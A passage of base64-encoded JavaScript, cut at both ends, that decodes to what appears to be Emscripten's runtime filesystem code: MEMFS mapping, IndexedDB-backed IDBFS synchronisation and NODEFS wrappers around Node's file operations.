Zmc2V0LGxlbmd0aCxwb3NpdGlvbixwcm90LGZsYWdzKXtpZighRlMuaXNGaWxlKHN0cmVhbS5ub2RlLm1vZGUpKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9ERVYpfXZhclx4MjBwdHI7dmFyXHgyMGFsbG9jYXRlZDt2YXJceDIwY29udGVudHM9c3RyZWFtLm5vZGUuY29udGVudHM7aWYoIShmbGFncyYyKSYmKGNvbnRlbnRzLmJ1ZmZlcj09PWJ1ZmZlcnx8Y29udGVudHMuYnVmZmVyPT09YnVmZmVyLmJ1ZmZlcikpe2FsbG9jYXRlZD1mYWxzZTtwdHI9Y29udGVudHMuYnl0ZU9mZnNldH1lbHNle2lmKHBvc2l0aW9uPjB8fHBvc2l0aW9uK2xlbmd0aDxzdHJlYW0ubm9kZS51c2VkQnl0ZXMpe2lmKGNvbnRlbnRzLnN1YmFycmF5KXtjb250ZW50cz1jb250ZW50cy5zdWJhcnJheShwb3NpdGlvbixwb3NpdGlvbitsZW5ndGgpfWVsc2V7Y29udGVudHM9QXJyYXkucHJvdG90eXBlLnNsaWNlLmNhbGwoY29udGVudHMscG9zaXRpb24scG9zaXRpb24rbGVuZ3RoKX19YWxsb2NhdGVkPXRydWU7cHRyPV9tYWxsb2MobGVuZ3RoKTtpZighcHRyKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9NRU0pfWJ1ZmZlci5zZXQoY29udGVudHMscHRyKX1yZXR1cm57cHRyOnB0cixhbGxvY2F0ZWQ6YWxsb2NhdGVkfX0pLG1zeW5jOihmdW5jdGlvbihzdHJlYW0sYnVmZmVyLG9mZnNldCxsZW5ndGgsbW1hcEZsYWdzKXtpZighRlMuaXNGaWxlKHN0cmVhbS5ub2RlLm1vZGUpKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTk9ERVYpfWlmKG1tYXBGbGFncyYyKXtyZXR1cm5ceDIwMH12YXJceDIwYnl0ZXNXcml0dGVuPU1FTUZTLnN0cmVhbV9vcHMud3JpdGUoc3RyZWFtLGJ1ZmZlciwwLGxlbmd0aCxvZmZzZXQsZmFsc2UpO3JldHVyblx4MjAwfSl9fTt2YXJceDIwSURCRlM9e2Riczp7fSxpbmRleGVkREI6KGZ1bmN0aW9uKCl7aWYodHlwZW9mXHgyMGluZGV4ZWREQiE9PVx4MjJ1bmRlZmluZWRceDIyKXJldHVyblx4MjBpbmRleGVkREI7dmFyXHgyMHJldD1udWxsO2lmKHR5cGVvZlx4MjB3aW5kb3c9PT1ceDIyb2JqZWN0XHgyMilyZXQ9d2luZG93LmluZGV4ZWREQnx8d2luZG93Lm1vekluZGV4ZWREQnx8d2luZG93LndlYmtpdEluZGV4ZWREQnx8d2luZG93Lm1zSW5kZXhlZERCO2Fzc2VydChyZXQsXHgyMklEQkZTXHgyMHVzZWQsXHgyMGJ1dFx4MjBpbmRleGVkREJceDIwbm90XHgyMHN1cHBvcnRlZFx4MjIpO3JldHVyblx4MjByZXR9KSxEQl9WRVJTSU9OOjIxLERCX1NUT1JFX05BTUU6XHgyMkZJTEVfREFUQVx4MjIsbW91bnQ6KGZ1bmN0aW9uKG1vdW50KXtyZXR1cm5ceDIwTUVNRlMubW91bnQuYXBwbHkobnVsbCxhcmd1bWVudHMpfSksc3luY2ZzOihmdW5jdGlvbihtb3VudCxwb3B1bGF0ZSxjYWxsYmFjayl7SURCRlMuZ2V0TG9jYWxTZXQobW91bnQsKGZ1bmN0aW9uKGVycixsb2NhbCl7aWYoZXJyKXJldHVyblx4MjBjYWxsYmFjayhlcnIpO0lEQkZTLmdldFJlbW90ZVNldChtb3VudCwoZnVuY3Rpb24oZXJyLHJlbW90ZSl7aWYoZXJyKXJldHVyblx4MjBjYWxsYmFjayhlcnIpO3Zhclx4MjBzcmM9cG9wdWxhdGU/cmVtb3RlOmxvY2FsO3Zhclx4MjBkc3Q9cG9wdWxhdGU/bG9jYWw6cmVtb3RlO0lEQkZTLnJlY29uY2lsZShzcmMsZHN0LGNhbGxiYWNrKX0pKX0pKX0pLGdldERCOihmdW5jdGlvbihuYW1lLGNhbGxiYWNrKXt2YXJceDIwZGI9SURCRlMuZGJzW25hbWVdO2lmKGRiKXtyZXR1cm5ceDIwY2FsbGJhY2sobnVsbCxkYil9dmFyXHgyMHJlcTt0cnl7cmVxPUlEQkZTLmluZGV4ZWREQigpLm9wZW4obmFtZSxJREJGUy5EQl9WRVJTSU9OKX1jYXRjaChlKXtyZXR1cm5ceDIwY2FsbGJhY2soZSl9aWYoIXJlcSl7cmV0dXJuXHgyMGNhbGxiYWNrKFx4MjJVbmFibGVceDIwdG9ceDIwY29ubmVjdFx4MjB0b1x4MjBJbmRleGVkREJceDIyKX1yZXEub251cGdyYWRlbmVlZGVkPShmdW5jdGlvbihlKXt2YXJceDIwZGI9ZS50YXJnZXQucmVzdWx0O3Zhclx4MjB0cmFuc2FjdGlvbj1lLnRhcmdldC50cmFuc2FjdGlvbjt2YXJceDIwZmlsZVN0b3JlO2lmKGRiLm9iamVjdFN0b3JlTmFtZXMuY29udGFpbnMoSURCRlMuREJfU1RPUkVfTkFNRSkpe2ZpbGVTdG9yZT10cmFuc2FjdGlvbi5vYmplY3RTdG9yZShJREJGUy5EQl9TVE9SRV9OQU1FKX1lbHNle2ZpbGVTdG9yZT1kYi5jcmVhdGVPYmplY3RTdG9yZShJREJGUy5EQl9TVE9SRV9OQU1FKX1pZighZmlsZVN0b3JlLmluZGV4TmFtZXMuY29udGFpbnMoXHgyMnRpbWVzdGFtcFx4MjIpKXtmaWxlU3RvcmUuY3JlYXRlSW5kZXgoXHgyMnRpbWVzdGFtcFx4MjIsXHgyMnRpbWVzdGFtcFx4MjIse3VuaXF1ZTpmYWxzZX0pfX0pO3JlcS5vbnN1Y2Nlc3M9KGZ1bmN0aW9uKCl7ZGI9cmVxLnJlc3VsdDtJREJGUy5kYnNbbmFtZV09ZGI7Y2FsbGJhY2sobnVsbCxkYil9KTtyZXEub25lcnJvcj0oZnVuY3Rpb24oZSl7Y2FsbGJhY2sodGhpcy5lcnJvcik7ZS5wcmV2ZW50RGVmYXVsdCgpfSl9KSxnZXRMb2NhbFNldDooZnVuY3Rpb24obW91bnQsY2FsbGJhY2spe3Zhclx4MjBlbnRyaWVzPXt9O2Z1bmN0aW9uXHgyMGlzUmVhbERpcihwKXtyZXR1cm5ceDIwcCE9PVx4MjIuXHgyMiYmcCE9PVx4MjIuLlx4MjJ9ZnVuY3Rpb25ceDIwdG9BYnNvbHV0ZShyb290KXtyZXR1cm4oZnVuY3Rpb24ocCl7cmV0dXJuXHgyMFBBVEguam9pbjIocm9vdCxwKX0pfXZhclx4MjBjaGVjaz1GUy5yZWFkZGlyKG1vdW50Lm1vdW50cG9pbnQpLmZpbHRlcihpc1JlYWxEaXIpLm1hcCh0b0Fic29sdXRlKG1vdW50Lm1vdW50cG9pbnQpKTt3aGlsZShjaGVjay5sZW5ndGgpe3Zhclx4MjBwYXRoPWNoZWNrLnBvcCgpO3Zhclx4MjBzdGF0O3RyeXtzdGF0PUZTLnN0YXQocGF0aCl9Y2F0Y2goZSl7cmV0dXJuXHgyMGNhbGxiYWNrKGUpfWlmKEZTLmlzRGlyKHN0YXQubW9kZSkpe2NoZWNrLnB1c2guYXBwbHkoY2hlY2ssRlMucmVhZGRpcihwYXRoKS5maWx0ZXIoaXNSZWFsRGlyKS5tYXAodG9BYnNvbHV0ZShwYXRoKSkpfWVudHJpZXNbcGF0aF09e3RpbWVzdGFtcDpzdGF0Lm10aW1lfX1yZXR1cm5ceDIwY2FsbGJhY2sobnVsbCx7dHlwZTpceDIybG9jYWxceDIyLGVudHJpZXM6ZW50cmllc30pfSksZ2V0UmVtb3RlU2V0OihmdW5jdGlvbihtb3VudCxjYWxsYmFjayl7dmFyXHgyMGVudHJpZXM9e307SURCRlMuZ2V0REIobW91bnQubW91bnRwb2ludCwoZnVuY3Rpb24oZXJyLGRiKXtpZihlcnIpcmV0dXJuXHgyMGNhbGxiYWNrKGVycik7dmFyXHgyMHRyYW5zYWN0aW9uPWRiLnRyYW5zYWN0aW9uKFtJREJGUy5EQl9TVE9SRV9OQU1FXSxceDIycmVhZG9ubHlceDIyKTt0cmFuc2FjdGlvbi5vbmVycm9yPShmdW5jdGlvbihlKXtjYWxsYmFjayh0aGlzLmVycm9yKTtlLnByZXZlbnREZWZhdWx0KCl9KTt2YXJceDIwc3RvcmU9dHJhbnNhY3Rpb24ub2JqZWN0U3RvcmUoSURCRlMuREJfU1RPUkVfTkFNRSk7dmFyXHgyMGluZGV4PXN0b3JlLmluZGV4KFx4MjJ0aW1lc3RhbXBceDIyKTtpbmRleC5vcGVuS2V5Q3Vyc29yKCkub25zdWNjZXNzPShmdW5jdGlvbihldmVudCl7dmFyXHgyMGN1cnNvcj1ldmVudC50YXJnZXQucmVzdWx0O2lmKCFjdXJzb3Ipe3JldHVyblx4MjBjYWxsYmFjayhudWxsLHt0eXBlOlx4MjJyZW1vdGVceDIyLGRiOmRiLGVudHJpZXM6ZW50cmllc30pfWVudHJpZXNbY3Vyc29yLnByaW1hcnlLZXldPXt0aW1lc3RhbXA6Y3Vyc29yLmtleX07Y3Vyc29yLmNvbnRpbnVlKCl9KX0pKX0pLGxvYWRMb2NhbEVudHJ5OihmdW5jdGlvbihwYXRoLGNhbGxiYWNrKXt2YXJceDIwc3RhdCxub2RlO3RyeXt2YXJceDIwbG9va3VwPUZTLmxvb2t1cFBhdGgocGF0aCk7bm9kZT1sb29rdXAubm9kZTtzdGF0PUZTLnN0YXQocGF0aCl9Y2F0Y2goZSl7cmV0dXJuXHgyMGNhbGxiYWNrKGUpfWlmKEZTLmlzRGlyKHN0YXQubW9kZSkpe3JldHVyblx4MjBjYWxsYmFjayhudWxsLHt0aW1lc3RhbXA6c3RhdC5tdGltZSxtb2RlOnN0YXQubW9kZX0pfWVsc2VceDIwaWYoRlMuaXNGaWxlKHN0YXQubW9kZSkpe25vZGUuY29udGVudHM9TUVNRlMuZ2V0RmlsZURhdGFBc1R5cGVkQXJyYXkobm9kZSk7cmV0dXJuXHgyMGNhbGxiYWNrKG51bGwse3RpbWVzdGFtcDpzdGF0Lm10aW1lLG1vZGU6c3RhdC5tb2RlLGNvbnRlbnRzOm5vZGUuY29udGVudHN9KX1lbHNle3JldHVyblx4MjBjYWxsYmFjayhuZXdceDIwRXJyb3IoXHgyMm5vZGVceDIwdHlwZVx4MjBub3RceDIwc3VwcG9ydGVkXHgyMikpfX0pLHN0b3JlTG9jYWxFbnRyeTooZnVuY3Rpb24ocGF0aCxlbnRyeSxjYWxsYmFjayl7dHJ5e2lmKEZTLmlzRGlyKGVudHJ5Lm1vZGUpKXtGUy5ta2RpcihwYXRoLGVudHJ5Lm1vZGUpfWVsc2VceDIwaWYoRlMuaXNGaWxlKGVudHJ5Lm1vZGUpKXtGUy53cml0ZUZpbGUocGF0aCxlbnRyeS5jb250ZW50cyx7ZW5jb2Rpbmc6XHgyMmJpbmFyeVx4MjIsY2FuT3duOnRydWV9KX1lbHNle3JldHVyblx4MjBjYWxsYmFjayhuZXdceDIwRXJyb3IoXHgyMm5vZGVceDIwdHlwZVx4MjBub3RceDIwc3VwcG9ydGVkXHgyMikpfUZTLmNobW9kKHBhdGgsZW50cnkubW9kZSk7RlMudXRpbWUocGF0aCxlbnRyeS50aW1lc3RhbXAsZW50cnkudGltZXN0YW1wKX1jYXRjaChlKXtyZXR1cm5ceDIwY2FsbGJhY2soZSl9Y2FsbGJhY2sobnVsbCl9KSxyZW1vdmVMb2NhbEVudHJ5OihmdW5jdGlvbihwYXRoLGNhbGxiYWNrKXt0cnl7dmFyXHgyMGxvb2t1cD1GUy5sb29rdXBQYXRoKHBhdGgpO3Zhclx4MjBzdGF0PUZTLnN0YXQocGF0aCk7aWYoRlMuaXNEaXIoc3RhdC5tb2RlKSl7RlMucm1kaXIocGF0aCl9ZWxzZVx4MjBpZihGUy5pc0ZpbGUoc3RhdC5tb2RlKSl7RlMudW5saW5rKHBhdGgpfX1jYXRjaChlKXtyZXR1cm5ceDIwY2FsbGJhY2soZSl9Y2FsbGJhY2sobnVsbCl9KSxsb2FkUmVtb3RlRW50cnk6KGZ1bmN0aW9uKHN0b3JlLHBhdGgsY2FsbGJhY2spe3Zhclx4MjByZXE9c3RvcmUuZ2V0KHBhdGgpO3JlcS5vbnN1Y2Nlc3M9KGZ1bmN0aW9uKGV2ZW50KXtjYWxsYmFjayhudWxsLGV2ZW50LnRhcmdldC5yZXN1bHQpfSk7cmVxLm9uZXJyb3I9KGZ1bmN0aW9uKGUpe2NhbGxiYWNrKHRoaXMuZXJyb3IpO2UucHJldmVudERlZmF1bHQoKX0pfSksc3RvcmVSZW1vdGVFbnRyeTooZnVuY3Rpb24oc3RvcmUscGF0aCxlbnRyeSxjYWxsYmFjayl7dmFyXHgyMHJlcT1zdG9yZS5wdXQoZW50cnkscGF0aCk7cmVxLm9uc3VjY2Vzcz0oZnVuY3Rpb24oKXtjYWxsYmFjayhudWxsKX0pO3JlcS5vbmVycm9yPShmdW5jdGlvbihlKXtjYWxsYmFjayh0aGlzLmVycm9yKTtlLnByZXZlbnREZWZhdWx0KCl9KX0pLHJlbW92ZVJlbW90ZUVudHJ5OihmdW5jdGlvbihzdG9yZSxwYXRoLGNhbGxiYWNrKXt2YXJceDIwcmVxPXN0b3JlLmRlbGV0ZShwYXRoKTtyZXEub25zdWNjZXNzPShmdW5jdGlvbigpe2NhbGxiYWNrKG51bGwpfSk7cmVxLm9uZXJyb3I9KGZ1bmN0aW9uKGUpe2NhbGxiYWNrKHRoaXMuZXJyb3IpO2UucHJldmVudERlZmF1bHQoKX0pfSkscmVjb25jaWxlOihmdW5jdGlvbihzcmMsZHN0LGNhbGxiYWNrKXt2YXJceDIwdG90YWw9MDt2YXJceDIwY3JlYXRlPVtdO09iamVjdC5rZXlzKHNyYy5lbnRyaWVzKS5mb3JFYWNoKChmdW5jdGlvbihrZXkpe3Zhclx4MjBlPXNyYy5lbnRyaWVzW2tleV07dmFyXHgyMGUyPWRzdC5lbnRyaWVzW2tleV07aWYoIWUyfHxlLnRpbWVzdGFtcD5lMi50aW1lc3RhbXApe2NyZWF0ZS5wdXNoKGtleSk7dG90YWwrK319KSk7dmFyXHgyMHJlbW92ZT1bXTtPYmplY3Qua2V5cyhkc3QuZW50cmllcykuZm9yRWFjaCgoZnVuY3Rpb24oa2V5KXt2YXJceDIwZT1kc3QuZW50cmllc1trZXldO3Zhclx4MjBlMj1zcmMuZW50cmllc1trZXldO2lmKCFlMil7cmVtb3ZlLnB1c2goa2V5KTt0b3RhbCsrfX0pKTtpZighdG90YWwpe3JldHVyblx4MjBjYWxsYmFjayhudWxsKX12YXJceDIwY29tcGxldGVkPTA7dmFyXHgyMGRiPXNyYy50eXBlPT09XHgyMnJlbW90ZVx4MjI/c3JjLmRiOmRzdC5kYjt2YXJceDIwdHJhbnNhY3Rpb249ZGIudHJhbnNhY3Rpb24oW0lEQkZTLkRCX1NUT1JFX05BTUVdLFx4MjJyZWFkd3JpdGVceDIyKTt2YXJceDIwc3RvcmU9dHJhbnNhY3Rpb24ub2JqZWN0U3RvcmUoSURCRlMuREJfU1RPUkVfTkFNRSk7ZnVuY3Rpb25ceDIwZG9uZShlcnIpe2lmKGVycil7aWYoIWRvbmUuZXJyb3JlZCl7ZG9uZS5lcnJvcmVkPXRydWU7cmV0dXJuXHgyMGNhbGxiYWNrKGVycil9cmV0dXJufWlmKCsrY29tcGxldGVkPj10b3RhbCl7cmV0dXJuXHgyMGNhbGxiYWNrKG51bGwpfX10cmFuc2FjdGlvbi5vbmVycm9yPShmdW5jdGlvbihlKXtkb25lKHRoaXMuZXJyb3IpO2UucHJldmVudERlZmF1bHQoKX0pO2NyZWF0ZS5zb3J0KCkuZm9yRWFjaCgoZnVuY3Rpb24ocGF0aCl7aWYoZHN0LnR5cGU9PT1ceDIybG9jYWxceDIyKXtJREJGUy5sb2FkUmVtb3RlRW50cnkoc3RvcmUscGF0aCwoZnVuY3Rpb24oZXJyLGVudHJ5KXtpZihlcnIpcmV0dXJuXHgyMGRvbmUoZXJyKTtJREJGUy5zdG9yZUxvY2FsRW50cnkocGF0aCxlbnRyeSxkb25lKX0pKX1lbHNle0lEQkZTLmxvYWRMb2NhbEVudHJ5KHBhdGgsKGZ1bmN0aW9uKGVycixlbnRyeSl7aWYoZXJyKXJldHVyblx4MjBkb25lKGVycik7SURCRlMuc3RvcmVSZW1vdGVFbnRyeShzdG9yZSxwYXRoLGVudHJ5LGRvbmUpfSkpfX0pKTtyZW1vdmUuc29ydCgpLnJldmVyc2UoKS5mb3JFYWNoKChmdW5jdGlvbihwYXRoKXtpZihkc3QudHlwZT09PVx4MjJsb2NhbFx4MjIpe0lEQkZTLnJlbW92ZUxvY2FsRW50cnkocGF0aCxkb25lKX1lbHNle0lEQkZTLnJlbW92ZVJlbW90ZUVudHJ5KHN0b3JlLHBhdGgsZG9uZSl9fSkpfSl9O3Zhclx4MjBOT0RFRlM9e2lzV2luZG93czpmYWxzZSxzdGF0aWNJbml0OihmdW5jdGlvbigpe05PREVGUy5pc1dpbmRvd3M9ISFwcm9jZXNzLnBsYXRmb3JtLm1hdGNoKC9ed2luLyl9KSxtb3VudDooZnVuY3Rpb24obW91bnQpe2Fzc2VydChFTlZJUk9OTUVOVF9JU19OT0RFKTtyZXR1cm5ceDIwTk9ERUZTLmNyZWF0ZU5vZGUobnVsbCxceDIyL1x4MjIsTk9ERUZTLmdldE1vZGUobW91bnQub3B0cy5yb290KSwwKX0pLGNyZWF0ZU5vZGU6KGZ1bmN0aW9uKHBhcmVudCxuYW1lLG1vZGUsZGV2KXtpZighRlMuaXNEaXIobW9kZSkmJiFGUy5pc0ZpbGUobW9kZSkmJiFGUy5pc0xpbmsobW9kZSkpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVJTlZBTCl9dmFyXHgyMG5vZGU9RlMuY3JlYXRlTm9kZShwYXJlbnQsbmFtZSxtb2RlKTtub2RlLm5vZGVfb3BzPU5PREVGUy5ub2RlX29wcztub2RlLnN0cmVhbV9vcHM9Tk9ERUZTLnN0cmVhbV9vcHM7cmV0dXJuXHgyMG5vZGV9KSxnZXRNb2RlOihmdW5jdGlvbihwYXRoKXt2YXJceDIwc3RhdDt0cnl7c3RhdD1mcy5sc3RhdFN5bmMocGF0aCk7aWYoTk9ERUZTLmlzV2luZG93cyl7c3RhdC5tb2RlPXN0YXQubW9kZXwoc3RhdC5tb2RlJjE0Nik+PjF9fWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX1yZXR1cm5ceDIwc3RhdC5tb2RlfSkscmVhbFBhdGg6KGZ1bmN0aW9uKG5vZGUpe3Zhclx4MjBwYXJ0cz1bXTt3aGlsZShub2RlLnBhcmVudCE9PW5vZGUpe3BhcnRzLnB1c2gobm9kZS5uYW1lKTtub2RlPW5vZGUucGFyZW50fXBhcnRzLnB1c2gobm9kZS5tb3VudC5vcHRzLnJvb3QpO3BhcnRzLnJldmVyc2UoKTtyZXR1cm5ceDIwUEFUSC5qb2luLmFwcGx5KG51bGwscGFydHMpfSksZmxhZ3NUb1Blcm1pc3Npb25TdHJpbmdNYXA6ezA6XHgyMnJceDIyLDE6XHgyMnIrXHgyMiwyOlx4MjJyK1x4MjIsNjQ6XHgyMnJceDIyLDY1Olx4MjJyK1x4MjIsNjY6XHgyMnIrXHgyMiwxMjk6XHgyMnJ4K1x4MjIsMTkzOlx4MjJyeCtceDIyLDUxNDpceDIydytceDIyLDU3NzpceDIyd1x4MjIsNTc4Olx4MjJ3K1x4MjIsNzA1Olx4MjJ3eFx4MjIsNzA2Olx4MjJ3eCtceDIyLDEwMjQ6XHgyMmFceDIyLDEwMjU6XHgyMmFceDIyLDEwMjY6XHgyMmErXHgyMiwxMDg5Olx4MjJhXHgyMiwxMDkwOlx4MjJhK1x4MjIsMTE1MzpceDIyYXhceDIyLDExNTQ6XHgyMmF4K1x4MjIsMTIxNzpceDIyYXhceDIyLDEyMTg6XHgyMmF4K1x4MjIsNDA5NjpceDIycnNceDIyLDQwOTg6XHgyMnJzK1x4MjJ9LGZsYWdzVG9QZXJtaXNzaW9uU3RyaW5nOihmdW5jdGlvbihmbGFncyl7ZmxhZ3MmPX4yMDk3MTUyO2ZsYWdzJj1+MjA0ODtmbGFncyY9fjMyNzY4O2ZsYWdzJj1+NTI0Mjg4O2lmKGZsYWdzXHgyMGluXHgyME5PREVGUy5mbGFnc1RvUGVybWlzc2lvblN0cmluZ01hcCl7cmV0dXJuXHgyME5PREVGUy5mbGFnc1RvUGVybWlzc2lvblN0cmluZ01hcFtmbGFnc119ZWxzZXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FSU5WQUwpfX0pLG5vZGVfb3BzOntnZXRhdHRyOihmdW5jdGlvbihub2RlKXt2YXJceDIwcGF0aD1OT0RFRlMucmVhbFBhdGgobm9kZSk7dmFyXHgyMHN0YXQ7dHJ5e3N0YXQ9ZnMubHN0YXRTeW5jKHBhdGgpfWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX1pZihOT0RFRlMuaXNXaW5kb3dzJiYhc3RhdC5ibGtzaXplKXtzdGF0LmJsa3NpemU9NDA5Nn1pZihOT0RFRlMuaXNXaW5kb3dzJiYhc3RhdC5ibG9ja3Mpe3N0YXQuYmxvY2tzPShzdGF0LnNpemUrc3RhdC5ibGtzaXplLTEpL3N0YXQuYmxrc2l6ZXwwfXJldHVybntkZXY6c3RhdC5kZXYsaW5vOnN0YXQuaW5vLG1vZGU6c3RhdC5tb2RlLG5saW5rOnN0YXQubmxpbmssdWlkOnN0YXQudWlkLGdpZDpzdGF0LmdpZCxyZGV2OnN0YXQucmRldixzaXplOnN0YXQuc2l6ZSxhdGltZTpzdGF0LmF0aW1lLG10aW1lOnN0YXQubXRpbWUsY3RpbWU6c3RhdC5jdGltZSxibGtzaXplOnN0YXQuYmxrc2l6ZSxibG9ja3M6c3RhdC5ibG9ja3N9fSksc2V0YXR0cjooZnVuY3Rpb24obm9kZSxhdHRyKXt2YXJceDIwcGF0aD1OT0RFRlMucmVhbFBhdGgobm9kZSk7dHJ5e2lmKGF0dHIubW9kZSE9PXVuZGVmaW5lZCl7ZnMuY2htb2RTeW5jKHBhdGgsYXR0ci5tb2RlKTtub2RlLm1vZGU9YXR0ci5tb2RlfWlmKGF0dHIudGltZXN0YW1wIT09dW5kZWZpbmVkKXt2YXJceDIwZGF0ZT1uZXdceDIwRGF0ZShhdHRyLnRpbWVzdGFtcCk7ZnMudXRpbWVzU3luYyhwYXRoLGRhdGUsZGF0ZSl9aWYoYXR0ci5zaXplIT09dW5kZWZpbmVkKXtmcy50cnVuY2F0ZVN5bmMocGF0aCxhdHRyLnNpemUpfX1jYXRjaChlKXtpZighZS5jb2RlKXRocm93XHgyMGU7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVNbZS5jb2RlXSl9fSksbG9va3VwOihmdW5jdGlvbihwYXJlbnQsbmFtZSl7dmFyXHgyMHBhdGg9UEFUSC5qb2luMihOT0RFRlMucmVhbFBhdGgocGFyZW50KSxuYW1lKTt2YXJceDIwbW9kZT1OT0RFRlMuZ2V0TW9kZShwYXRoKTtyZXR1cm5ceDIwTk9ERUZTLmNyZWF0ZU5vZGUocGFyZW50LG5hbWUsbW9kZSl9KSxta25vZDooZnVuY3Rpb24ocGFyZW50LG5hbWUsbW9kZSxkZXYpe3Zhclx4MjBub2RlPU5PREVGUy5jcmVhdGVOb2RlKHBhcmVudCxuYW1lLG1vZGUsZGV2KTt2YXJceDIwcGF0aD1OT0RFRlMucmVhbFBhdGgobm9kZSk7dHJ5e2lmKEZTLmlzRGlyKG5vZGUubW9kZSkpe2ZzLm1rZGlyU3luYyhwYXRoLG5vZGUubW9kZSl9ZWxzZXtmcy53cml0ZUZpbGVTeW5jKHBhdGgsXHgyMlx4MjIse21vZGU6bm9kZS5tb2RlfSl9fWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX1yZXR1cm5ceDIwbm9kZX0pLHJlbmFtZTooZnVuY3Rpb24ob2xkTm9kZSxuZXdEaXIsbmV3TmFtZSl7dmFyXHgyMG9sZFBhdGg9Tk9ERUZTLnJlYWxQYXRoKG9sZE5vZGUpO3Zhclx4MjBuZXdQYXRoPVBBVEguam9pbjIoTk9ERUZTLnJlYWxQYXRoKG5ld0RpciksbmV3TmFtZSk7dHJ5e2ZzLnJlbmFtZVN5bmMob2xkUGF0aCxuZXdQYXRoKX1jYXRjaChlKXtpZighZS5jb2RlKXRocm93XHgyMGU7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVNbZS5jb2RlXSl9fSksdW5saW5rOihmdW5jdGlvbihwYXJlbnQsbmFtZSl7dmFyXHgyMHBhdGg9UEFUSC5qb2luMihOT0RFRlMucmVhbFBhdGgocGFyZW50KSxuYW1lKTt0cnl7ZnMudW5saW5rU3luYyhwYXRoKX1jYXRjaChlKXtpZighZS5jb2RlKXRocm93XHgyMGU7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVNbZS5jb2RlXSl9fSkscm1kaXI6KGZ1bmN0aW9uKHBhcmVudCxuYW1lKXt2YXJceDIwcGF0aD1QQVRILmpvaW4yKE5PREVGUy5yZWFsUGF0aChwYXJlbnQpLG5hbWUpO3RyeXtmcy5ybWRpclN5bmMocGF0aCl9Y2F0Y2goZSl7aWYoIWUuY29kZSl0aHJvd1x4MjBlO3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTW2UuY29kZV0pfX0pLHJlYWRkaXI6KGZ1bmN0aW9uKG5vZGUpe3Zhclx4MjBwYXRoPU5PREVGUy5yZWFsUGF0aChub2RlKTt0cnl7cmV0dXJuXHgyMGZzLnJlYWRkaXJTeW5jKHBhdGgpfWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX19KSxzeW1saW5rOihmdW5jdGlvbihwYXJlbnQsbmV3TmFtZSxvbGRQYXRoKXt2YXJceDIwbmV3UGF0aD1QQVRILmpvaW4yKE5PREVGUy5yZWFsUGF0aChwYXJlbnQpLG5ld05hbWUpO3RyeXtmcy5zeW1saW5rU3luYyhvbGRQYXRoLG5ld1BhdGgpfWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX19KSxyZWFkbGluazooZnVuY3Rpb24obm9kZSl7dmFyXHgyMHBhdGg9Tk9ERUZTLnJlYWxQYXRoKG5vZGUpO3RyeXtwYXRoPWZzLnJlYWRsaW5rU3luYyhwYXRoKTtwYXRoPU5PREVKU19QQVRILnJlbGF0aXZlKE5PREVKU19QQVRILnJlc29sdmUobm9kZS5tb3VudC5vcHRzLnJvb3QpLHBhdGgpO3JldHVyblx4MjBwYXRofWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX19KX0sc3RyZWFtX29wczp7b3BlbjooZnVuY3Rpb24oc3RyZWFtKXt2YXJceDIwcGF0aD1OT0RFRlMucmVhbFBhdGgoc3RyZWFtLm5vZGUpO3RyeXtpZihGUy5pc0ZpbGUoc3RyZWFtLm5vZGUubW9kZSkpe3N0cmVhbS5uZmQ9ZnMub3BlblN5bmMocGF0aCxOT0RFRlMuZmxhZ3NUb1Blcm1pc3Npb25TdHJpbmcoc3RyZWFtLmZsYWdzKSl9fWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX19KSxjbG9zZTooZnVuY3Rpb24oc3RyZWFtKXt0cnl7aWYoRlMuaXNGaWxlKHN0cmVhbS5ub2RlLm1vZGUpJiZzdHJlYW0ubmZkKXtmcy5jbG9zZVN5bmMoc3RyZWFtLm5mZCl9fWNhdGNoKGUpe2lmKCFlLmNvZGUpdGhyb3dceDIwZTt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX19KSxyZWFkOihmdW5jdGlvbihzdHJlYW0sYnVmZmVyLG9mZnNldCxsZW5ndGgscG9zaXRpb24pe2lmKGxlbmd0aD09PTApcmV0dXJuXHgyMDA7dmFyXHgyMG5idWZmZXI9bmV3XHgyMEJ1ZmZlcihsZW5ndGgpO3Zhclx4MjByZXM7dHJ5e3Jlcz1mcy5yZWFkU3luYyhzdHJlYW0ubmZkLG5idWZmZXIsMCxsZW5ndGgscG9zaXRpb24p